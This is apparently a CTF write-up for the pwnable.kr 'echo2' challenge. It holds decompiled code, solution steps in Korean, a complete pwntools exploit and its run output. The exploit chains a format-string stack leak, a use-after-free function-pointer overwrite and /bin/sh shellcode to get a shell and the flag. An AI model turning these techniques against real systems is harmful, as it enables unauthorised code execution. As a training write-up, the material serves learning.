Description

    Pwn this echo service.

    download : http://pwnable.kr/bin/echo2

    Running at : nc pwnable.kr 9011

    checksec

    ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ checksec ./echo2
    [*] '/home/ubuntu/Desktop/pwnable.kr-CTF/echo2/echo2'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments

    Decompiled-src

    main

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      _QWORD *v3; // rax
      unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
      __int64 v6[4]; // [rsp+10h] [rbp-20h] BYREF
    
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 1, 0LL);
      o = malloc(0x28uLL);
      *((_QWORD *)o + 3) = greetings;
      *((_QWORD *)o + 4) = byebye;
      printf("hey, what's your name? : ");
      __isoc99_scanf("%24s", v6);
      v3 = o;
      *(_QWORD *)o = v6[0];
      v3[1] = v6[1];
      v3[2] = v6[2];
      id = v6[0];
      getchar();
      func[0] = (__int64)echo1;
      qword_602088 = (__int64)echo2;
      qword_602090 = (__int64)echo3;
      for ( i = 0; i != 121; i = getchar() )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            puts("\n- select echo type -");
            puts("- 1. : BOF echo");
            puts("- 2. : FSB echo");
            puts("- 3. : UAF echo");
            puts("- 4. : exit");
            printf("> ");
            __isoc99_scanf("%d", &i);
            getchar();
            if ( i > 3 )
              break;
            ((void (*)(void))func[i - 1])();
          }
          if ( i == 4 )
            break;
          puts("invalid menu");
        }
        cleanup();
        printf("Are you sure you want to exit? (y/n)");
      }
      puts("bye");
      return 0;
    }

    echo1

    int echo1()
    {
      return puts("not supported");
    }

    echo2

    __int64 echo2()
    {
      char format[32]; // [rsp+0h] [rbp-20h] BYREF
    
      (*((void (__fastcall **)(void *))o + 3))(o);
      get_input(format, 32LL);
      printf(format);
      (*((void (__fastcall **)(void *))o + 4))(o);
      return 0LL;
    }

    echo3

    __int64 echo3()
    {
      char *s; // [rsp+8h] [rbp-8h]
    
      (*((void (__fastcall **)(void *))o + 3))(o);
      s = (char *)malloc(32uLL);
      get_input(s, 32LL);
      puts(s);
      free(s);
      (*((void (__fastcall **)(void *))o + 4))(o);
      return 0LL;
    }

    cleanup

    void cleanup()
    {
      free(o);
    }

    Solution

    1. main 함수의 v6 지역변수에 쉘코드 삽입

    2. echo2 함수를 통해 스택 주소를 leak하여 main 함수의 v6 지역변수의 주소값 획득

    3. (여기서부터 UAF trigger 시작) cleanup 함수를 통해 main 함수의 o 변수를 free

    4. echo3 함수를 통해 o 변수에 있던 메모리 주소를 다시한번 더 use하여,
    greetings 함수주소가 적힌 주소에다가 아까 leak하여 획득하면서 획득했던 v6 지역변수의 주소값으로 덮어쓴다.

    5. 이제 greetings 함수는 더이상 호출되지 않고 쉘코드가 실행된다.

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote("pwnable.kr", 9011)
    #p = process("./echo2")
    e = ELF('./echo2', checksec=False)
    
    # https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html
    shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05'
    p.sendlineafter(b"hey, what's your name? : ", shellcode)
    
    p.sendlineafter(b"> ", b"2")
    p.sendline(b'%9$p')
    p.recvline()
    leaked_stack = p.recvline().split(b'\n')[0]
    leaked_stack = int(leaked_stack, 16)
    success(f"leaked_stack: {hex(leaked_stack)}")
    
    p.sendline(b"4")
    p.sendline(b"n")
    
    p.sendlineafter(b"> ", b"3")
    p.sendline(b'C'*24 + p64(leaked_stack - 0x20))
    
    p.interactive()

    Result

    ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ python3 solve.py
    [+] Opening connection to pwnable.kr on port 9011: Done
    [+] leaked_stack: 0x7ffd8af398f0
    [*] Switching to interactive mode
    Are you sure you want to exit? (y/n)
    - select echo type -
    - 1. : BOF echo
    - 2. : FSB echo
    - 3. : UAF echo
    - 4. : exit
    > hello 
    CCCCCCCCCCCCCCCCCCCCCCCCИ\xf3\x8a\xfd
    goodbye 
    
    - select echo type -
    - 1. : BOF echo
    - 2. : FSB echo
    - 3. : UAF echo
    - 4. : exit
    > $ ls
    echo2
    flag
    log
    super.pl
    $ cat flag
    fun_with_UAF_and_FSB :)
    $ 
    [*] Interrupted
    [*] Closed connection to pwnable.kr port 9011

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다